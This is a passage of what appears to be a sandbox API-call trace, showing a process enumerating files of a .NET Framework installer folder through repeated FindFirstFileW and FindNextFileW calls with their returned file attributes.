dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0131.176] FindClose (in: hFindFile=0x69b088 | out: hFindFile=0x69b088) returned 1 [0131.178] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d30060 | out: hHeap=0x5a0000) returned 1 [0131.178] FindNextFileW (in: hFindFile=0x5babb8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Client", cAlternateFileName="")) returned 1 [0131.178] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\*", lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69b0c8 [0131.181] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0131.181] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce2bc00, ftCreationTime.dwHighDateTime=0x1cac6d5, ftLastAccessTime.dwLowDateTime=0xce2bc00, ftLastAccessTime.dwHighDateTime=0x1cac6d5, ftLastWriteTime.dwLowDateTime=0xce2bc00, ftLastWriteTime.dwHighDateTime=0x1cac6d5, nFileSizeHigh=0x0, nFileSizeLow=0x31444, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parameterinfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1 [0131.181] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x9882, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1 [0131.181] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x9882, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 0 [0131.181] FindClose (in: hFindFile=0x69b0c8 | out: hFindFile=0x69b0c8) returned 1 [0131.460] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d30060 | out: hHeap=0x5a0000) returned 1 [0131.460] FindNextFileW (in: hFindFile=0x5babb8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbc518d00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbc518d00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbc518d00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x3ef6, dwReserved0=0x0, dwReserved1=0x240000, cFileName="DHtmlHeader.html", cAlternateFileName="DHTMLH~1.HTM")) returned 1 [0131.460] FindNextFileW (in: hFindFile=0x5babb8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x159d5, dwReserved0=0x0, dwReserved1=0x240000, cFileName="DisplayIcon.ico", cAlternateFileName="DISPLA~1.ICO")) returned 1 [0131.460] FindNextFileW (in: hFindFile=0x5babb8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Extended", cAlternateFileName="")) returned 1 [0131.460] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\*", lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69ab88 [0131.460] FindNextFileW (in: hFindFile=0x69ab88, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0131.460] FindNextFileW (in: hFindFile=0x69ab88, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2a714f00, ftCreationTime.dwHighDateTime=0x1cac6f0, ftLastAccessTime.dwLowDateTime=0x2a714f00, ftLastAccessTime.dwHighDateTime=0x1cac6f0, ftLastWriteTime.dwLowDateTime=0x2a714f00, ftLastWriteTime.dwHighDateTime=0x1cac6f0, nFileSizeHigh=0x0, nFileSizeLow=0x16c82, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parameterinfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1 [0131.460] FindNextFileW (in: hFindFile=0x69ab88, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x988a, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1 [0131.461] FindNextFileW (in: hFindFile=0x69ab88, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x988a, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 0 [0131.461] FindClose (in: hFindFile=0x69ab88 | out: hFindFile=0x69ab88) returned 1 [0131.461] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d30060 | out: hHeap=0x5a0000) returned 1 [0131.461] FindNextFileW (in: hFindFile=0x5babb8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Graphics", cAlternateFileName="")) returned 1 [0131.461] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\*", lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69b0c8 [0132.018] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0132.123] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Print.ico", cAlternateFileName="")) returned 1 [0132.123] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate1.ico", cAlternateFileName="")) returned 1 [0132.123] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate2.ico", cAlternateFileName="")) returned 1 [0132.124] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate3.ico", cAlternateFileName="")) returned 1 [0132.124] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate4.ico", cAlternateFileName="")) returned 1 [0132.124] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate5.ico", cAlternateFileName="")) returned 1 [0132.124] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate6.ico", cAlternateFileName="")) returned 1 [0132.124] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate7.ico", cAlternateFileName="")) returned 1 [0132.124] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate8.ico", cAlternateFileName="")) returned 1 [0132.124] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Save.ico", cAlternateFileName="")) returned 1 [0132.125] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x8f66, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.ico", cAlternateFileName="")) returned 1 [0132.125] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b5e7f00, ftCreationTime.dwHighDateTime=0x1ca927c, ftLastAccessTime.dwLowDateTime=0x5b5e7f00, ftLastAccessTime.dwHighDateTime=0x1ca927c, ftLastWriteTime.dwLowDateTime=0x5b5e7f00, ftLastWriteTime.dwHighDateTime=0x1ca927c, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="stop.ico", cAlternateFileName="")) returned 1 [0132.125] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysReqMet.ico", cAlternateFileName="SYSREQ~1.ICO")) returned 1 [0132.125] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysReqNotMet.ico", cAlternateFileName="SYSREQ~2.ICO")) returned 1 [0132.125] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="warn.ico", cAlternateFileName="")) returned 1 [0132.125] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="warn.ico", cAlternateFileName="")) returned 0 [0132.125] FindClose (in: hFindFile=0x69b0c8 | out: hFindFile=0x69b0c8) returned 1 [0132.126] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d30060 | out: hHeap=0x5a0000) returned 1 [0132.126] FindNextFileW (in: hFindFile=0x5babb8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x87910600, ftCreationTime.dwHighDateTime=0x1ca2a27, ftLastAccessTime.dwLowDateTime=0x87910600, ftLastAccessTime.dwHighDateTime=0x1ca2a27, ftLastWriteTime.dwLowDateTime=0x87910600, ftLastWriteTime.dwHighDateTime=0x1ca2a27, nFileSizeHigh=0x0, nFileSizeLow=0xe2c, dwReserved0=0x0, dwReserved1=0x240000, cFileName="header.bmp", cAlternateFileName="")) returned 1 [0132.126] FindNextFileW (in: hFindFile=0x5babb8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x66ea7e00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0x66ea7e00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0x66ea7e00, ftLastWriteTime.dwHighDateTime=0x1cac6e3, nFileSizeHigh=0x0, nFileSizeLow=0xad1384b, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Core.mzz", cAlternateFileName="NETFX_~1.MZZ")) returned 1 [0132.127] FindNextFileW (in: hFindFile=0x5babb8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc183da00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0xc183da00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0xc183da00, ftLastWriteTime.dwHighDateTime=0x1cac6e3, nFileSizeHigh=0x0, nFileSizeLow=0x1d0200, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Core_x64.msi", cAlternateFileName="NETFX_~1.MSI")) returned 1 [0132.127] FindNextFileW (in: hFindFile=0x5babb8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x4c130c00, ftCreationTime.dwHighDateTime=0x1cac6d9, ftLastAccessTime.dwLowDateTime=0x4c130c00, ftLastAccessTime.dwHighDateTime=0x1cac6d9, ftLastWriteTime.dwLowDateTime=0x4c130c00, ftLastWriteTime.dwHighDateTime=0x1cac6d9, nFileSizeHigh=0x0, nFileSizeLow=0x11c000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Core_x86.msi", cAlternateFileName="NETFX_~2.MSI")) returned 1 [0132.127] FindNextFileW (in: hFindFile=0x5babb8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf74cd515, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf74cd515, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf7cd9415, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x29222c7, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Extended.mzz", cAlternateFileName="NETFX_~2.MZZ")) returned 1 [0132.127] FindNextFileW (in: hFindFile=0x5babb8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2dbe0800, ftCreationTime.dwHighDateTime=0x1cac6fb, ftLastAccessTime.dwLowDateTime=0x2dbe0800, ftLastAccessTime.dwHighDateTime=0x1cac6fb, ftLastWriteTime.dwLowDateTime=0x2dbe0800, ftLastWriteTime.dwHighDateTime=0x1cac6fb, nFileSizeHigh=0x0, nFileSizeLow=0xd5000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Extended_x64.msi", cAlternateFileName="NETFX_~3.MSI")) returned 1 [0132.127] FindNextFileW (in: hFindFile=0x5babb8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7626f700, ftCreationTime.dwHighDateTime=0x1cac6f6, ftLastAccessTime.dwLowDateTime=0x7626f700, ftLastAccessTime.dwHighDateTime=0x1cac6f6, ftLastWriteTime.dwLowDateTime=0x7626f700, ftLastWriteTime.dwHighDateTime=0x1cac6f6, nFileSizeHigh=0x0, nFileSizeLow=0x79000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Extended_x86.msi", cAlternateFileName="NETFX_~4.MSI")) returned 1 [0133.273] FindNextFileW (in: hFindFile=0x5babb8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x4a0f7400, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x4a0f7400, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x4a0f7400, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x426ae, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ParameterInfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1 [0133.273] FindNextFileW (in: hFindFile=0x5babb8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x19dedd00, ftCreationTime.dwHighDateTime=0x1ca2a1b, ftLastAccessTime.dwLowDateTime=0x19dedd00, ftLastAccessTime.dwHighDateTime=0x1ca2a1b, ftLastWriteTime.dwLowDateTime=0x19dedd00, ftLastWriteTime.dwHighDateTime=0x1ca2a1b, nFileSizeHigh=0x0, nFileSizeLow=0x2d200, dwReserved0=0x0, dwReserved1=0x240000, cFileName="RGB9RAST_x64.msi", cAlternateFileName="RGB9RA~1.MSI")) returned 1 [0133.273] FindNextFileW (in: hFindFile=0x5babb8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x177c8300, ftCreationTime.dwHighDateTime=0x1ca2a1b, ftLastAccessTime.dwLowDateTime=0x177c8300, ftLastAccessTime.dwHighDateTime=0x1ca2a1b, ftLastWriteTime.dwLowDateTime=0x177c8300, ftLastWriteTime.dwHighDateTime=0x1ca2a1b, nFileSizeHigh=0x0, nFileSizeLow=0x17200, dwReserved0=0x0, dwReserved1=0x240000, cFileName="RGB9Rast_x86.msi", cAlternateFileName="RGB9RA~2.MSI")) returned 1 [0133.273] FindNextFileW (in: hFindFile=0x5babb8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x13148, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Setup.exe", cAlternateFileName="")) returned 1 [0133.273] FindNextFileW (in: hFindFile=0x5babb8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, 